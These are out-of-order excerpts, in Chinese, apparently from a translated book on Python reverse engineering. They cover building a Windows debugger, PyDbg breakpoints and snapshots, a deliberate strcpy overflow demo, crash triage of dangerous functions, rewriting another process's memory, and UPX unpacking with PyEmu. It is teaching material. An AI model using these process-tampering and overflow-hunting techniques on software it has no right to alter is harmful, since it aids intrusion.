    {"text": "一次性断点意味着，一 旦断点被触发（命中）一次，它就会从内部中断列表清除掉。 一个持久性断点在 CPU 触发 后会重新存储在内部的断点列表里，以后每次运行到这里还会中断。"},
    {"text": "CRC 是一种校验数据是否被改变的函数，它被广 泛的应用于文件，内存，文本，网络数据包和任何你想监视数据改变的地方。 CRC 将一定 范围内的数据进行 hash（散列）计算，在逆向工程中一般是对进程的内存数据进行运算， 然后将 hash 值和此前原始的 hash 值进行比较，以判断数据是否被改变。"},
    {"text": "为了防止在获取快照的时候，进程的数据或者状态被修改，需要将进程挂起来，这个任 务由 suspend_all_threads()完成。 挂起进程之后，可以用 process_snapshot()获取快照。 快照完 成之后，用 resume_all_threads()恢复挂起的进程，让程序继续执行。 当某个时刻我们需要将 进程恢复到从前的状态，简单的 process_restore()就行了。"},
    {"text": "现在新建个 snapshot.py 试验下，代码的功能就是我们输入\"snap\"的时候创建一个快照， 输入\"restore\"的时候将进程恢复到快照时的状态。 #snapshot.py from pydbg import * from pydbg.defines import * import threading import time import sys class snapshotter(object): def __init__(self,exe_path): self.exe_path = exe_path self.pid = None self.dbg = None self.running = True # Start the debugger thread, and loop until it sets the PID # of our target process pydbg_thread = threading.Thread(target=self.start_debugger) pydbg_thread.setDaemon(0) pydbg_thread.start() while self.pid == None: time.sleep(1) # We now have a PID and the target is running; let's get a # second thread running to do the snapshots monitor_thread = threading.Thread(target=self.monitor_debugger) monitor_thread.setDaemon(0) monitor_thread.start() def monitor_debugger(self): while self.running == True: input = raw_input(\"Enter: 'snap','restore' or 'quit'\") input = input.lower().strip() if input == \"quit\": print \"[*] Exiting the snapshotter.\" self.running = False self.dbg.terminate_process() elif input == \"snap\": print \"[*] Suspending all threads.\" self.dbg.suspend_all_threads() print \"[*] Obtaining snapshot.\" self.dbg.process_snapshot() print \"[*] Resuming operation.\" self.dbg.resume_all_threads() elif input == \"restore\": print \"[*] Suspending all threads.\" self.dbg.suspend_all_threads() print \"[*] Restoring snapshot.\" self.dbg.process_restore() print \"[*] Resuming operation.\" self.dbg.resume_all_threads() def start_debugger(self): self.dbg = pydbg() pid = self.dbg.load(self.exe_path) self.pid = self.dbg.pid self.dbg.run() exe_path = \"C:\\\\WINDOWS\\\\System32\\\\calc.exe\" snapshotter(exe_path) 那么第一步就是在调试器内部创建一个新线程，并用此启动目标进程。"},
    {"text": "#danger_track.py from pydbg import * from pydbg.defines import * import utils # This is the maximum number of instructions we will log # after an access violation MAX_INSTRUCTIONS = 10 # This is far from an exhaustive list; add more for bonus points dangerous_functions = { \"strcpy\" : \"msvcrt.dll\", \"strncpy\" : \"msvcrt.dll\", \"sprintf\" : \"msvcrt.dll\", \"vsprintf\": \"msvcrt.dll\" } dangerous_functions_resolved = {} crash_encountered = False instruction_count = 0 def danger_handler(dbg): # We want to print out the contents of the stack; that's about it # Generally there are only going to be a few parameters, so we will # take everything from ESP to ESP+20, which should give us enough # information to determine if we own any of the data esp_offset = 0 print \"[*] Hit %s\" % dangerous_functions_resolved[dbg.context.Eip] print \"=================================================================\" while esp_offset <= 20: parameter = dbg.smart_dereference(dbg.context.Esp + esp_offset) print \"[ESP + %d] => %s\" % (esp_offset, parameter) esp_offset += 4 print \"=================================================================\\n dbg.suspend_all_threads() dbg.process_snapshot() dbg.resume_all_threads() return DBG_CONTINUE def access_violation_handler(dbg): global crash_encountered # Something bad happened, which means something good happened :) # Let's handle the access violation and then restore the process # back to the last dangerous function that was called if dbg.dbg.u.Exception.dwFirstChance: return DBG_EXCEPTION_NOT_HANDLED crash_bin = utils.crash_binning.crash_binning() crash_bin.record_crash(dbg) print crash_bin.crash_synopsis() if crash_encountered == False: dbg.suspend_all_threads() dbg.process_restore() crash_encountered = True # We flag each thread to single step for thread_id in dbg.enumerate_threads(): print \"[*] Setting single step for thread: 0x%08x\" % thread_id h_thread = dbg.open_thread(thread_id) dbg.single_step(True, h_thread) dbg.close_handle(h_thread) # Now resume execution, which will pass control to our # single step handler dbg.resume_all_threads() return DBG_CONTINUE else: dbg.terminate_process() return DBG_EXCEPTION_NOT_HANDLED def single_step_handler(dbg): global instruction_count global crash_encountered if crash_encountered: if instruction_count == MAX_INSTRUCTIONS: dbg.single_step(False) return DBG_CONTINUE else: # Disassemble this instruction instruction = dbg.disasm(dbg.context.Eip) print \"#%d\\t0x%08x : %s\" % (instruction_count,dbg.context.Eip, instruction) instruction_count += 1 dbg.single_step(True) return DBG_CONTINUE dbg = pydbg() pid = int(raw_input(\"Enter the PID you wish to monitor: \")) dbg.attach(pid) # Track down all of the dangerous functions and set breakpoints for func in dangerous_functions.keys(): func_address = dbg.func_resolve( dangerous_functions[func],func ) print \"[*] Resolved breakpoint: %s -> 0x%08x\" % ( func, func_address ) dbg.bp_set( func_address, handler = danger_handler ) dangerous_functions_resolved[func_address] = func dbg.set_callback( EXCEPTION_ACCESS_VIOLATION, access_violation_handler ) dbg.set_callback( EXCEPTION_SINGLE_STEP, single_step_handler ) dbg.run() 通过之前对 PyDbg 的诸多讲解，这段代码应该看起来不那么难了吧。"},
    {"text": "序 my_debugger.py ... class debugger(): ... def func_resolve(self,dll,function): handle = kernel32.GetModuleHandleA(dll) address = kernel32.GetProcAddress(handle, function) kernel32.CloseHandle(handle) return address 现在创建第二个测试套件，循环的调用 printf()。"},
    {"text": "#printf_loop.py from ctypes import * import time msvcrt = cdll.msvcrt counter = 0 while 1: msvcrt.printf(\"Loop iteration %d!\\n\" % counter) time.sleep(2) counter += 1 现在更新测试套件，附加到进程，在 printf()上设置断点。 #my_test.py import my_debugger debugger = my_debugger.debugger() pid = raw_input(\"Enter the PID of the process to attach to: \") debugger.attach(int(pid)) printf_address = debugger.func_resolve(\"msvcrt.dll\",\"printf\") print \"[*] Address of printf: 0x%08x\" % printf_address debugger.bp_set(printf_address) debugger.run() 现在开始测试，在命令行里运行 printf_loop.py。"},
    {"text": "你将看到如下的输出： Enter the PID of the process to attach to: 4048 [*] Address of printf: 0x77c4186a [*] Setting breakpoint at: 0x77c4186a Event Code: 3 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 6 Thread ID: 3148 Event Code: 2 Thread ID: 3620 Event Code: 1 Thread ID: 3620 [*] Exception address: 0x7c901230 [*] Hit the first breakpoint. Event Code: 4 Thread ID: 3620 Event Code: 1 Thread ID: 3148 [*] Exception address: 0x77c4186a [*] Hit user defined breakpoint. Listing 3-3: 处理软件断点事件的事件顺序 我们首先看到 printf()的函数地址在 0x77c4186a，然后在这里设置断点。"},
    {"text": "设置断点的代码之前我们已经完成了，剩下的就是修改处理调试事件的主函数，让它能 够处理由硬件断点引发的异常。 我们知道硬件断点由 INT1 (或者说是步进事件),所以我们就 只要就当的添加另一个异常处理函数到调试循环里。"},
    {"text": "#my_debugger.py ... class debugger(): def __init__(self): self.h_process = None self.pid = None self.debugger_active = False self.h_thread = None self.context = None self.breakpoints = {} self.first_breakpoint= True self.hardware_breakpoints = {} ... def bp_set_hw(self, address, length, condition): # Check for a valid length value if length not in (1, 2, 4): return False else: length -= 1 # Check for a valid condition if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE): return False # Check for available slots if not self.hardware_breakpoints.has_key(0): available = 0 elif not self.hardware_breakpoints.has_key(1): available = 1 elif not self.hardware_breakpoints.has_key(2): available = 2 elif not self.hardware_breakpoints.has_key(3): available = 3 else: return False # We want to set the debug register in every thread for thread_id in self.enumerate_threads(): context = self.get_thread_context(thread_id=thread_id) # Enable the appropriate flag in the DR7 # register to set the breakpoint context.Dr7 |= 1 << (available * 2) # Save the address of the breakpoint in the # free register that we found if available == 0: context.Dr0 = address elif available == 1: context.Dr1 = address elif available == 2: context.Dr2 = address elif available == 3: context.Dr3 = address # Set the breakpoint condition context.Dr7 |= condition << ((available * 4) + 16) # Set the length context.Dr7 |= length << ((available * 4) + 18) # Set thread context with the break set h_thread = self.open_thread(thread_id) kernel32.SetThreadContext(h_thread,byref(context)) # update the internal hardware breakpoint array at the used # slot index. self.hardware_breakpoints[available] = (address,length,condition) return True 通过确认全局的硬件断点字典，我们选择了一个空的调试寄存器存储硬件断点。"},
    {"text": "#my_debugger.py ... class debugger(): ... def get_debug_event(self): if self.exception == EXCEPTION_ACCESS_VIOLATION: print \"Access Violation Detected.\" elif self.exception == EXCEPTION_BREAKPOINT: continue_status = self.exception_handler_breakpoint() elif self.exception == EXCEPTION_GUARD_PAGE: print \"Guard Page Access Detected.\" elif self.exception == EXCEPTION_SINGLE_STEP: self.exception_handler_single_step() ... def exception_handler_single_step(self): # Comment from PyDbg: # determine if this single step event occurred in reaction to a # hardware breakpoint and grab the hit breakpoint. # according to the Intel docs, we should be able to check for # the BS flag in Dr6. but it appears that Windows # isn't properly propagating that flag down to us. if self.context.Dr6 & 0x1 and self.hardware_breakpoints.has_key(0): slot = 0 elif self.context.Dr6 & 0x2 and self.hardware_breakpoints.has_key(1): slot = 1 elif self.context.Dr6 & 0x4 and self.hardware_breakpoints.has_key(2): slot = 2 elif self.context.Dr6 & 0x8 and self.hardware_breakpoints.has_key(3): slot = 3 else: # This wasn't an INT1 generated by a hw breakpoint continue_status = DBG_EXCEPTION_NOT_HANDLED # Now let's remove the breakpoint from the list if self.bp_del_hw(slot): continue_status = DBG_CONTINUE print \"[*] Hardware breakpoint removed.\" return continue_status def bp_del_hw(self,slot): # Disable the breakpoint for all active threads for thread_id in self.enumerate_threads(): context = self.get_thread_context(thread_id=thread_id) # Reset the flags to remove the breakpoint context.Dr7 &= ~(1 << (slot * 2)) # Zero out the address if slot == 0: context.Dr0 = 0x00000000 elif slot == 1: context.Dr1 = 0x00000000 elif slot == 2: context.Dr2 = 0x00000000 elif slot == 3: context.Dr3 = 0x00000000 # Remove the condition flag context.Dr7 &= ~(3 << ((slot * 4) + 16)) # Remove the length flag context.Dr7 &= ~(3 << ((slot * 4) + 18)) # Reset the thread's context with the breakpoint removed h_thread = self.open_thread(thread_id) kernel32.SetThreadContext(h_thread,byref(context)) # remove the breakpoint from the internal list. del self.hardware_breakpoints[slot] return True 代码很容易理解；"},
    {"text": "让我们修改 my_test.py 并在 printf()上设置硬件断点看看。 #my_test.py import my_debugger from my_debugger_defines import * debugger = my_debugger.debugger() pid = raw_input(\"Enter the PID of the process to attach to: \") debugger.attach(int(pid)) printf = debugger.func_resolve(\"msvcrt.dll\",\"printf\") print \"[*] Address of printf: 0x%08x\" % printf debugger.bp_set_hw(printf,1,HW_EXECUTE) debugger.run() 这个测试模块在 printf()上设置了一个断点，只要调用函数，就会触发调试事件。"},
    {"text": "运行后输出结果如下： Enter the PID of the process to attach to: 2504 [*] Address of printf: 0x77c4186a Event Code: 3 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 6 Thread ID: 3704 Event Code: 2 Thread ID: 2228 Event Code: 1 Thread ID: 2228 [*] Exception address: 0x7c901230 [*] Hit the first breakpoint. Event Code: 4 Thread ID: 2228 Event Code: 1 Thread ID: 3704 [*] Hardware breakpoint removed. Listing 3-4: 处理一个硬件断点事件的顺序 一切都在预料中，程序抛出异常，处理程序移除断点。"},
    {"text": "为了能准确的计算出页面的大小，就要向系统查询信息获得一个内存页的默认大小。 这 由 GetSystemInfo()函数完成，函数会装填一个 SYSTEM_INFO 结构，这个结构包含 wPageSize 成员，这就是操作系统内存页默认大小。 #my_debugger.py ... class debugger(): def __init__(self): self.h_process = None self.pid = None self.debugger_active = False self.h_thread = None self.context = None self.breakpoints = {} self.first_breakpoint= True self.hardware_breakpoints = {} # Here let's determine and store # the default page size for the system system_info = SYSTEM_INFO() kernel32.GetSystemInfo(byref(system_info)) self.page_size = system_info.dwPageSize ... 已经获得默认页大小，那剩下的就是查询和控制页面的权限。"},
    {"text": "函数和结构定义如 下: SIZE_T WINAPI VirtualQuery( HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength ); typedef struct MEMORY_BASIC_INFORMATION{ PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } 上面的结构中 BaseAddress 的值就是我们要设置权限的页面的开始地址。 接下来用 VirtualProtectEx()设置权限，函数原型如下： BOOL WINAPI VirtualProtectEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ); 让我们着手写代码。"},
    {"text": "我们将创建 2 个全局列表，其中一个包含所有已经设置了好了 的保护页，另一个包含了所有的内存断点，在处理 GUARD_PAGE_EXCEPTION 异常的时 候将用得着。"},
    {"text": "#my_debugger.py ... class debugger(): def __init__(self): ... self.guarded_pages = [] self.memory_breakpoints = {} ... def bp_set_mem (self, address, size): mbi = MEMORY_BASIC_INFORMATION() # If our VirtualQueryEx() call doesn’t return # a full-sized MEMORY_BASIC_INFORMATION # then return False if kernel32.VirtualQueryEx(self.h_process, address, byref(mbi), sizeof(mbi)) < sizeof(mbi): return False current_page = mbi.BaseAddress # We will set the permissions on all pages that are # affected by our memory breakpoint. while current_page <= address + size: # Add the page to the list; this will # differentiate our guarded pages from those # that were set by the OS or the debuggee process self.guarded_pages.append(current_page) old_protection = c_ulong(0) if not kernel32.VirtualProtectEx(self.h_process, current_page, size, mbi.Protect | PAGE_GUARD, byref(old_protection)): return False # Increase our range by the size of the # default system memory page size current_page += self.page_size # Add the memory breakpoint to our global list self.memory_breakpoints[address] = (address, size, mbi) return True 现在我们已经能够设置内存断点了。"},
    {"text": "不过有一件好事，就是系统替我们 完成了扫尾工作，一旦保护页被访问，就会抛出一个异常，这时候系统会移除页面的保护属 性，然后允许程序继续执行。"},
    {"text": "不过你能做些别的，在调试的循环代码里，加入特定的处理过 程，在断点触发的时候，重设断点，读取断点处的内存，喝瓶‘蚁力神’ （这个不强求，哈）， 或者干点别的。"},
    {"text": "不仅对创建调试器有了 深刻的领会，也学会了很多重要的技术，无论将来做不做调试都非常有用。 至少在用别的调 试器的时候你能够明白底层做了些什么，也能够修改调试器，让它更好用。"},
    {"text": "4 PyDBG---纯 PYTHON 调试器 话说上回我们讲到如何在 windows 下构造一个用户模式的 调试器，最后在大家的不懈努力下，终于历史性的完成了这一伟 大工程。"},
    {"text": "现在 PyDbg 已经用于各种各样的工 具之中了，其中包括 Taof （非常流行的 fuzzer 代理）ioctlizer（作者开发的一个针对 windwos 驱动的 fuzzer）。"},
    {"text": "PyDbg 设置函数的断点原型如下： bp_set(address, description=\"\",restore=True,handler=None) address 是要设置的断点的地址，description 参数可选，用来给每个断点设置唯一的名字。"},
    {"text": "这次我们在 printf() 函数上下断点，以便读取 printf()输出时用到的参数 counter 变量，之后用一个 1 到 100 的随 机数替换这个变量的值，最后再打印出来。"},
    {"text": "#printf_random.py from pydbg import * from pydbg.defines import * import struct import random # This is our user defined callback function def printf_randomizer(dbg): # Read in the value of the counter at ESP + 0x8 as a DWORD parameter_addr = dbg.context.Esp + 0x8 counter = dbg.read_process_memory(parameter_addr,4) # When we use read_process_memory, it returns a packed binary # string. We must first unpack it before we can use it further. counter = struct.unpack(\"L\",counter)[0] print \"Counter: %d\" % int(counter) # Generate a random number and pack it into binary format # so that it is written correctly back into the process random_counter = random.randint(1,100) random_counter = struct.pack(\"L\",random_counter)[0] # Now swap in our random number and resume the process dbg.write_process_memory(parameter_addr,random_counter) return DBG_CONTINUE # Instantiate the pydbg class dbg = pydbg() # Now enter the PID of the printf_loop.py process pid = raw_input(\"Enter the printf_loop.py PID: \") # Attach the debugger to that process dbg.attach(int(pid)) # Set the breakpoint with the printf_randomizer function # defined as a callback printf_address = dbg.func_resolve(\"msvcrt\",\"printf\") dbg.bp_set(printf_address,description=\"printf_address\",handler=printf_randomizer) # Resume the process dbg.run() 现在运行 printf_loop.py 和 printf_random.py 两个文件。"},
    {"text": "Table 4-1:调试器和进程的输出 Output from Debugger Output from Debugged Process Enter the printf_loop.py PID: 3466 Loop iteration 0! … Loop iteration 1! … Loop iteration 2! … Loop iteration 3! Counter: 4 Loop iteration 32! Counter: 5 Loop iteration 39! Counter: 6 Loop iteration 86! Counter: 7 Loop iteration 22! Counter: 8 Loop iteration 70! Counter: 9 Loop iteration 95! Counter: 10 Loop iteration 60! 为了不把你搞混，让我们看看 printf_loop.py 代码。 from ctypes import * import time msvcrt = cdll.msvcrt counter = 0 while 1: msvcrt.printf(\"Loop iteration %d!\\n\" % counter) time.sleep(2) counter += 1 先搞明白一点，printf()接受的这个 counter 是主函数里 counter 的拷贝，就是说在 printf 函数内部,无论怎么修改都不会影响到外面的这个 counter(C 语言所说的只有传递指针才能真 正的改变值)。"},
    {"text": "你应该看到，调试器在 printf 循环到第 counter 变量为 4 的时候才设置了断点。 这是 因 为被 counter 被捕捉到的时候已经为 4 了（这是为了让大家看到对比结果，不要认为调试器 傻了）。"},
    {"text": "到 4 的时候，printf() 被中断，内部的 counter 被随即修改为 32!这个例子很简单且强大，它告诉了你在调试事件 发生的时候如何构建回调函数完成自定义的操作。"},
    {"text": "溢出的脚本 buffer_overflow.py，代码如下： #buffer_overflow.py from ctypes import * msvcrt = cdll.msvcrt # Give the debugger time to attach, then hit a button raw_input(\"Once the debugger is attached, press any key.\") # Create the 5-byte destination buffer buffer = c_char_p(\"AAAAA\") # The overflow string overflow = \"A\" * 100 # Run the overflow msvcrt.strcpy(buffer, overflow) 问题出在这句 msvcrt.strcpy(buffer, overflow)，接受的应该是一个指针，而传递给函数的 是 一 个 变 量 ， 函 数 就 会 把 overflow 当 作 指 针 使 用 ， 把 里 头 的 值 当 作 地 址 用 （0x41414141414.....）。"},
    {"text": "#access_violation_handler.py from pydbg import * from pydbg.defines import * # Utility libraries included with PyDbg import utils # This is our access violation handler def check_accessv(dbg): # We skip first-chance exceptions if dbg.dbg.u.Exception.dwFirstChance: return DBG_EXCEPTION_NOT_HANDLED crash_bin = utils.crash_binning.crash_binning() crash_bin.record_crash(dbg) print crash_bin.crash_synopsis() dbg.terminate_process() return DBG_EXCEPTION_NOT_HANDLED pid = raw_input(\"Enter the Process ID: \") dbg = pydbg() dbg.attach(int(pid)) dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,check_accessv) dbg.run() 现在运行 buffer_overflow.py，并记下它的进程号，我们先暂停它等处理完以后再运行。 执行 access_violation_handler.py 文件，输入测试套件的 PID.当调试器附加到进程以后，在测 试套件的终端里按任何键，接下来你应该看到和表 4-1 相似的输出。"},
    {"text": "python25.dll:1e071cd8 mov ecx,[eax+0x54] from thread 3376 caused access violation when attempting to read from 0x41414195 CONTEXT DUMP EIP: 1e071cd8 mov ecx,[eax+0x54] EAX: 41414141 (1094795585) -> N/A EBX: 00b055d0 ( 11556304) -> @Ù\" BÒx,Ò )Xb@|V`\"L{O+H]$6 (heap) ECX: 0021fe90 ( 2227856) -> !$4|7|4|@%,\\!$H8|!OGGBG)00S\\o (stack) EDX: 00a1dc60 ( 10607712) -> V0`w`W (heap) EDI: 1e071cd0 ( 503782608) -> N/A ESI: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap) EBP: 1e1cf448 ( 505214024) -> enable() -> NoneEnable automa (stack) ESP: 0021fe74 ( 2227828) -> 2? BUH` 7|4|@%,\\!$H8|!OGGBG) (stack) +00: 00000000 ( 0) -> N/A +04: 1e063f32 ( 503725874) -> N/A +08: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap) +0c: 00000000 ( 0) -> N/A +10: 00000000 ( 0) -> N/A +14: 00b055c0 ( 11556288) -> @F@Ù\" BÒx,Ò )Xb@|V`\"L{O+H]$ (heap) disasm around: 0x1e071cc9 int3 0x1e071cca int3 0x1e071ccb int3 0x1e071ccc int3 0x1e071ccd int3 0x1e071cce int3 0x1e071ccf int3 0x1e071cd0 push esi 0x1e071cd1 mov esi,[esp+0x8] 0x1e071cd5 mov eax,[esi+0x4] 0x1e071cd8 mov ecx,[eax+0x54] 0x1e071cdb test ch,0x40 0x1e071cde jz 0x1e071cff 0x1e071ce0 mov eax,[eax+0xa4] 0x1e071ce6 test eax,eax 0x1e071ce8 jz 0x1e071cf4 0x1e071cea push esi 0x1e071ceb call eax 0x1e071ced add esp,0x4 0x1e071cf0 test eax,eax 0x1e071cf2 jz 0x1e071cff SEH unwind: 0021ffe0 -> python.exe:1d00136c jmp [0x1d002040] ffffffff -> kernel32.dll:7c839aa8 push ebp Listing 4-1：PyDbg 捕捉到的奔溃信息 输出了很多有用的信息片断。"},
    {"text": "序 2.4.2 硬件断点 硬件断点非常有用，尤其是当想在一小块区域内设置断点，但是又不能修改它们的时候。 这种类型的断点被设置在 CPU 级别，并用特定的寄存器：调试寄存器。一个 CPU 一般会有 8 个调试寄存器（DR0 寄存器到 DR7 寄存器） ，它们被用于管理硬件断点。调试寄存器 DR0 到调试寄存器 DR3 存储硬件断点地址。这意味着你同一时间内最多只能有 4 个硬件断点。 DR4 和 DR5 保留。DR6 是状态寄存器，说明了被断点触发的调试事件的类型。DR7 本质上 是一个硬件断点的开关寄存器，同时也存储了断点的不同类型。通过在 DR7 寄存器里设置 不同标志，能够创建以下几种断点： · 当特定的地址上有指令执行的时候中断 . · 当特定的地址上有数据可以写入的时候 · 当特定的地址上有数据读或者写但不执行的时候 这非常有用，当你要设置特定的断点（至多 4 个），又不能修改运行的进程的时候。 图 2-4 显示了与硬件断点的状态，长度和地址相关的字段。 图 2-4:DR7 寄存器决定了断点的类型 0-7 位是硬件断点的激活与关闭开关。在这七位中 L 和 G 字段是局部和全局作用域的 标志。我把两个位都设置了，以我的经验用户模式的调试中只设置一个就能工作。 8-25 位 在我们一般的调试中用不到，在 x86 的手册上你可以找到关于这些字节的详细解释。16-31 位决定了设置在 4 个断点寄存器中硬件断点的类型与长度。 和软件断点不同，硬件断点不是用 INT3 中断，而是用 INT1(1 号中断).INT1 负责硬件 中断和步进事件。步进（ Single-step ）意味着一步一步的执行指令，从而精确的观察关键 代码以便监视数据的变化。在 CPU 每次执行代码之前，都会先确认当前将执行的代码的地 址是否是硬件断点的地址，同时也要确认是否有代码要访问被设置了硬件断点的内存区域。 如果任何储存在 DR0-DR3 中的地址所指向的区域被访问了，就会触发 INT1 中断，同时暂 停 CPU。如果没有，CPU 执行代码，到下一行代码时，CPU 继续重复上面的检查。 硬件断点极其有用，但是也有一些限制。一方面你同一时间只能设置四个断点，另 一方面断点起作用的区域只有 4 个字节（也就是检测 4 个字节的内存数据改变）。如果你想 跟踪一大块内存数据，就办不到了。为了解决这个问题，你就要用到内存断点。 序 1.3.2 使用动态链接库 使用 ctypes 的第一步就是明白如何解析和访问动态链接库中的函数。一个 dynamically linked library(被动态连接的库)其实就是一个二进制文件，不过一般自己不运行，而是由别 的程序调用执行。在 Windows 上叫做 dynamic link libraries (DLL)动态链接库,在 Linux 上叫 做 shared objects (SO)共享库。无论什么平台，这些库中的函数都必须通过导出的名字调用， 之后再在内存中找出真正的地址。所以正常情况下，要调用函数，都必须先解析出函数地址， 不过 ctypes 替我们完成了这一步。 ctypes 提供了三种方法调用动态链接库:cdll(), windll(), 和 oledll()。它们的不同之处就在 于，函数的调用方法和返回值。cdll() 加载的库，其导出的函数必须使用标准的 cdecl 调用 约定。windll()方法加载的库，其导出的函数必须使用 stdcall 调用约定(Win32 API 的原生约 定)。oledll()方法和 windll()类似，不过如果函数返回一个 HRESULT 错误代码，可以使用 COM 函数得到具体的错误信息。 _______________________________________________________________________________ 调 用 约 定 调用约定专指函数的调用方法。其中包括，函数参数的传递方法，顺序（压入栈或 者传给寄存器），以及函数返回时，栈的平衡处理。下面这两种约定是我们最常用到的： cdecl and stdcall。cdecl 调用约定，函数的参数从右往左依次压入栈内，函数的调用者， 在函数执行完成后，负责函数的平衡。这种约定常用于 x86 架构的 C 语言里。"},
    {"text": "序 12.3.2 PEPyEmu PEPyEmu 类用于可执行文件的静态分析（不需要 IDA Pro） 。整个处理过程就是将磁盘 上的可执行文件映射到内存中，然后使用 pydasm 进行指令解码。下面的试验中，我们将通 过仿真器运行一个压缩过的可执行文件，然后把解压出来的原始文件转存到硬盘上。这次使 用的压缩软件就是 UPX(Ultimate Packer for Executables)，一款伟大的开源压缩软件，同时也 是使用最广的压缩软件，用于最大程度的压缩可执行文件，同样也能被病毒软件用来迷惑分 析者。在使用自定义 PyEmu 脚本( Cody Pierce 提供 )对程序进行解压之前，让我们看看压缩 程序是怎么工作的。 12.3.3 压缩程序 压缩程序由来已久。最早在我们使用 1.44 软盘的时候，压缩程序就用来尽可能的减少 程序大小(想当初我们的软盘上可是有上千号文件)，随着事件的流逝，这项技术也渐渐成为 病毒开发中的一个主要部分，用来迷惑分析者。一个典型的压缩程序会将目标程序的代码段 和数据段进行压缩，然后将入口点替换成解压的代码。当程序执行的时候，解压代码就会将 原始代码加压进内存，然后跳到原始入口点 OEP(original entry point )，开始正常运行程序。 在我们分析调试任何压缩过的程序之前，也都必须解压它们。这时候你会想到用调试器完成 这项任务（因为各种丰富的脚本），不过现在的病毒一般都缴入反调试代码，用调试器进行 解压变得越来越困难。那怎么办呢？用仿真器。因为我们并没有附加到正在执行的程序，而 是将压缩过的代码拷贝到仿真器中运行，然后等待它自动解压完成，接着再把解压出来的原 始程序，转储到硬盘上。以后就能够正常的分析调试它们了。 这次我们选择 UPX 压缩 calc.exe。然后用 PyEmu 解压它，最后 dump 出来。记得这种 方法同样适用于别的压缩程序，万变不离其宗。 序 _____________________________________________________________________ push color_three push color_two push color_one call my_socks 序 In Python _______________________________________________________________________________ class barley_amount(Union): _fields_ = [ (\"barley_long\", c_long), (\"barley_int\", c_int), (\"barley_char\", c_char * 8), ] _______________________________________________________________________________ 如果我们将一个整数赋值给联合中的 barley_int，接着我们就能够调用 barley_char，用 字符的形式显示刚才输入的 66。 序 PUSH 0x70 它们的安装方法很简单： set_opcode_handler( opcode, opcode_handler ) set_opcode_handler( 0x50, my_push_eax_handler ) set_opcode_handler( 0x6A70, my_push_70_handler ) 第一个参数只要简单的设置成我们需要捕捉的操作码，第二个参数就是处理函数了。捕 捉的范围不限于单个字节，而可以是多这个字节，就想第二个例子一样。处理函数原型如下： def opcode_handler( emu, opcode, op1, op2, op3 ): 第一个 PyEmu 实例，后面不再累赘。opcode 是捕捉到的操作码，剩下的三个就是指令 可能使用到的计算对象。 序 Debugger Hooks Debugger Hook 是 IDAPython 提供的另一个非常酷的功能，用于 Hook 住 IDA 内部的调 试器，同时处理各种调试事件。虽然 IDA 一般不用于调试任务，但是当需要动态调试的时 候，调用 IDA 内部调试器还是比外部的会方便很多。之后我们会用 debugger hooks 创建一 个代码覆盖率统计工具。使用 debugger hook 之前，先要睇你一个一个 hook 类然后在类里头 定义各种不同的处理函数。 class DbgHook(DBG_Hooks): # Event handler for when the process starts def dbg_process_start(self, pid, tid, ea, name, base, size) return # Event handler for process exit def dbg_process_exit(self, pid, tid, ea, code): return # Event handler for when a shared library gets loaded def dbg_library_load(self, pid, tid, ea, name, base, size): return # Breakpoint handler def dbg_bpt(self, tid, ea): return 这个类包含了我们在创建调试脚本时，会经常用到的几个调试事件处理函数。安装 hook 的方式如下: debugger = DbgHook() debugger.hook() 现在运行调试器，hook 会捕捉所有的调试事件，这样就能非常精确的控制 IDA 调试器。 下面的函数在调试的时候非常有用: AddBpt( long Address ) 在指定的地点设置软件断点。 GetBptQty() 返回当前设置的断点数量。 GetRegValue( string Register ) 通过寄存器名获得寄存器值。 SetRegValue( long Value, string Register ) 设定寄存器的值。"},
    {"text": "序 3.4.1 软件断点 为 了 设 置 软 件 断 点 ， 我 们 必 须 能 够 将 数 据 写 入 目 标 进 程 的 内 存 。 这 需 要 通 过 ReadProcessMemory() 和 WriteProcessMemory()实现。它们非常相似： BOOL WINAPI ReadProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead ); BOOL WINAPI WriteProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten ); 这 两 个 函 数 都 允 许 调 试 器 观 察 和 更 新 被 调 试 的 进 程 的 内 存 。 参 数 也 都 很 简 单 。 lpBaseAddress 是 要 开 始 读 或 者 些 的 目 标 地 址 ， lpBuffer 指 向 一 块 缓 冲 区 ， 用 来 接 收 lpBaseAddress 读 出 的 数 据 或 者 写 入 lpBaseAddress 。 nSize 是 想 要 读 写 的 数 据 大 小 ， lpNumberOfBytesWritten 由函数填写，通过它我们就能够知道一次操作过后实际读写了的数 据。 现在让我们的调试器实现软件断点就相当容易了。修改调试器的核心类，以支持设置和 处理软件断点。 #my_debugger.py ... class debugger(): def __init__(self): self.h_process = None self.pid = None self.debugger_active = False self.h_thread = None 